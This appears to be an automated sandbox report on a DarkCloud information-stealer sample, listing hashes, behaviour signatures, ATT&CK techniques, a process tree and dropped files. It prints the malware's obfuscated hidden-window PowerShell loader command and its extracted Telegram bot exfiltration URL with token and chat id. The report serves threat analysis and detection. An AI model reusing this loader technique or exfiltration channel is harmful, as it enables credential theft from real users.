darkcloud | 20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
13/03/2025, 02:09

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General

Target

20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe
Size

819KB
MD5

969da5cc61a21e2d5fd00a52254ecd8e
SHA1

3f3cb9fdf47343f8e4d88e5171ad3b57ed6c4bad
SHA256

20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18
SHA512

6df74d8e45b5db927d8962e453f379b18ba79dce91a8e0677b55a36c1a57f38c43f677091d280d1abcbcad2b214299aeb02f2784047411e2d62a6e0912556e60
SSDEEP

12288:1gP0I82X5K+GDnvy1eSLR0lUEkyZtyj6ittqTH3oEuprboHlExvyBBApy2HIxod3:EFJsDnylcpZk64oYEGc+yTARioCLC

Score

10^/10

darkcloud discovery execution stealer

Malware Config

Extracted

Family

darkcloud

https://api.telegram.org/bot7733877678:AAEqT6ly9PGheBCvOkuDttTsF2fRwpgtX5s/sendMessage?chat_id=5039346757

Signatures

DarkCloud
An information stealer written in Visual Basic.
stealer darkcloud
Darkcloud family
darkcloud

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1640	powershell.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	228	msiexec.exe
38	228	msiexec.exe
40	228	msiexec.exe
42	228	msiexec.exe
44	228	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
35	drive.google.com
36	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
228	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1640	powershell.exe
228	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1640	powershell.exe
1640	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeIncreaseQuotaPrivilege	1640	powershell.exe
Token: SeSecurityPrivilege	1640	powershell.exe
Token: SeTakeOwnershipPrivilege	1640	powershell.exe
Token: SeLoadDriverPrivilege	1640	powershell.exe
Token: SeSystemProfilePrivilege	1640	powershell.exe
Token: SeSystemtimePrivilege	1640	powershell.exe
Token: SeProfSingleProcessPrivilege	1640	powershell.exe
Token: SeIncBasePriorityPrivilege	1640	powershell.exe
Token: SeCreatePagefilePrivilege	1640	powershell.exe
Token: SeBackupPrivilege	1640	powershell.exe
Token: SeRestorePrivilege	1640	powershell.exe
Token: SeShutdownPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeSystemEnvironmentPrivilege	1640	powershell.exe
Token: SeRemoteShutdownPrivilege	1640	powershell.exe
Token: SeUndockPrivilege	1640	powershell.exe
Token: SeManageVolumePrivilege	1640	powershell.exe
Token: 33	1640	powershell.exe
Token: 34	1640	powershell.exe
Token: 35	1640	powershell.exe
Token: 36	1640	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
228	msiexec.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 1640	412	20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe	86
PID 412 wrote to memory of 1640	412	20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe	86
PID 412 wrote to memory of 1640	412	20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe	86
PID 1640 wrote to memory of 2432	1640	powershell.exe	100
PID 1640 wrote to memory of 2432	1640	powershell.exe	100
PID 1640 wrote to memory of 2432	1640	powershell.exe	100
PID 1640 wrote to memory of 228	1640	powershell.exe	101
PID 1640 wrote to memory of 228	1640	powershell.exe	101
PID 1640 wrote to memory of 228	1640	powershell.exe	101
PID 1640 wrote to memory of 228	1640	powershell.exe	101

C:\Users\Admin\AppData\Local\Temp\20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe
"C:\Users\Admin\AppData\Local\Temp\20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Telemeters=GC -raw 'C:\Users\Admin\AppData\Local\Temp\gypsoplast\witherdeed\Skyldsflelsers.Pos';$Gonophorous=$Telemeters.SubString(53202,3);.$Gonophorous($Telemeters)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    PID:2432
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2jzo1u4s.4f3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gypsoplast\witherdeed\Besvrliggjort.Van133

Filesize
347KB

MD5
b309e0c56e116ca4bb506532d3301d26

SHA1
dd262120aff0dcc56ca5c142dfe9a2e0c5a754a6

SHA256
f32f4655ae63807af3841e5b4f806b4cac43cc993417fc74ff0403e8037efa39

SHA512
0976fa442e5ba759922f738cc0aad568573b88d941a6b1d5cf9b09643566b59736c69d75ad20f7b73c35bcc0f602e498c4498c32a7c3273a7e4729701ff2a1cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\gypsoplast\witherdeed\Skyldsflelsers.Pos

Filesize
51KB

MD5
550953a2f63ed2b48ebf6f76343105dc

SHA1
f9425cafc739b32c655b05afdf9a5930337f2a54

SHA256
f4c99919eaf75b521f3e08ec3e4378cc546a07de51735e48d7cf9110a4afec3c

SHA512
956bb1f66503873a3b721875123c485ca47e7f9f9ce14ce451a2a4b0f1c705b40774ac1569bdb41e83758e880586e1f7740598b3112744e0b68720ae4e0deab3

Download Submit
memory/228-110-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-108-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-114-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-113-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-116-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-112-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-111-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-117-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-109-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-115-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-107-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-106-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-102-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-118-0x0000000000400000-0x00000000005E4000-memory.dmp

Filesize
1.9MB

Download
memory/228-89-0x00000000777B1000-0x00000000778D1000-memory.dmp

Filesize
1.1MB

Download
memory/228-88-0x0000000077838000-0x0000000077839000-memory.dmp

Filesize
4KB

Download
memory/228-87-0x00000000777B1000-0x00000000778D1000-memory.dmp

Filesize
1.1MB

Download
memory/1640-69-0x00000000074D0000-0x00000000074D8000-memory.dmp

Filesize
32KB

Download
memory/1640-81-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-61-0x0000000007320000-0x00000000073C3000-memory.dmp

Filesize
652KB

Download
memory/1640-62-0x0000000007420000-0x000000000742A000-memory.dmp

Filesize
40KB

Download
memory/1640-63-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-64-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-65-0x0000000007440000-0x0000000007451000-memory.dmp

Filesize
68KB

Download
memory/1640-66-0x0000000007490000-0x000000000749E000-memory.dmp

Filesize
56KB

Download
memory/1640-67-0x00000000074A0000-0x00000000074B4000-memory.dmp

Filesize
80KB

Download
memory/1640-68-0x00000000074E0000-0x00000000074FA000-memory.dmp

Filesize
104KB

Download
memory/1640-22-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/1640-70-0x0000000007C50000-0x0000000007C7A000-memory.dmp

Filesize
168KB

Download
memory/1640-71-0x0000000007C80000-0x0000000007CA4000-memory.dmp

Filesize
144KB

Download
memory/1640-72-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-74-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-59-0x00000000072F0000-0x000000000730E000-memory.dmp

Filesize
120KB

Download
memory/1640-76-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/1640-77-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-78-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-80-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-79-0x00000000087B0000-0x000000000CC2C000-memory.dmp

Filesize
68.5MB

Download
memory/1640-60-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-82-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-83-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-84-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-86-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-48-0x00000000072B0000-0x00000000072E2000-memory.dmp

Filesize
200KB

Download
memory/1640-49-0x00000000701F0000-0x000000007023C000-memory.dmp

Filesize
304KB

Download
memory/1640-47-0x0000000008130000-0x00000000087AA000-memory.dmp

Filesize
6.5MB

Download
memory/1640-45-0x0000000007500000-0x0000000007AA4000-memory.dmp

Filesize
5.6MB

Download
memory/1640-44-0x0000000006E80000-0x0000000006EA2000-memory.dmp

Filesize
136KB

Download
memory/1640-43-0x00000000063C0000-0x00000000063DA000-memory.dmp

Filesize
104KB

Download
memory/1640-42-0x0000000006420000-0x00000000064B6000-memory.dmp

Filesize
600KB

Download
memory/1640-41-0x0000000005EF0000-0x0000000005F3C000-memory.dmp

Filesize
304KB

Download
memory/1640-40-0x0000000005EA0000-0x0000000005EBE000-memory.dmp

Filesize
120KB

Download
memory/1640-39-0x0000000005930000-0x0000000005C84000-memory.dmp

Filesize
3.3MB

Download
memory/1640-28-0x00000000057E0000-0x0000000005846000-memory.dmp

Filesize
408KB

Download
memory/1640-29-0x00000000058C0000-0x0000000005926000-memory.dmp

Filesize
408KB

Download
memory/1640-27-0x0000000004F00000-0x0000000004F22000-memory.dmp

Filesize
136KB

Download
memory/1640-26-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-24-0x0000000004F80000-0x00000000055A8000-memory.dmp

Filesize
6.2MB

Download
memory/1640-25-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/1640-23-0x0000000004910000-0x0000000004946000-memory.dmp

Filesize
216KB

Download